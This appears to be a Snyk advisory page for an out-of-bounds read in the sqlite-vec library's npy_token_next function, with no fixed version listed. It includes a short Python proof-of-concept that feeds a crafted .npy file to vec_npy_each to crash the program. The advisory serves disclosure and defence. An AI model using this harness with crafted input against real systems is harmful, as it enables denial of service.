Snyk has a proof-of-concept or detailed explanation of how to exploit this vulnerability.
The probability is the direct output of the EPSS model, and conveys an overall sense of the threat of exploitation in the wild. The percentile measures the EPSS probability relative to all known EPSS scores. Note: This data is updated daily, relying on the latest available EPSS model version. Check out the EPSS documentation for more details.
In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.
Test your applicationsThere is no fixed version for asg017/sqlite-vec
.
Affected versions of this package are vulnerable to Out-of-bounds Read via the npy_token_next
function. An attacker can cause a program to crash or become unresponsive by supplying a specially crafted file.
import sqlite3
def execute_all(cursor, sql, args=None):
if args is None:
args = []
results = cursor.execute(sql, args).fetchall()
return list(map(lambda x: dict(x), results))
def connect(ext, path=":memory:", extra_entrypoint=None):
db = sqlite3.connect(path)
db.enable_load_extension(True)
db.load_extension(ext)
db.row_factory = sqlite3.Row
return db
db = connect("./dist/vec0")
vec_npy_each_f = lambda *args: execute_all(
db, "select * from vec_npy_each(?)", args
)
with open("./poc.npy", "rb") as f:
data = f.read()
print(vec_npy_each_f(data))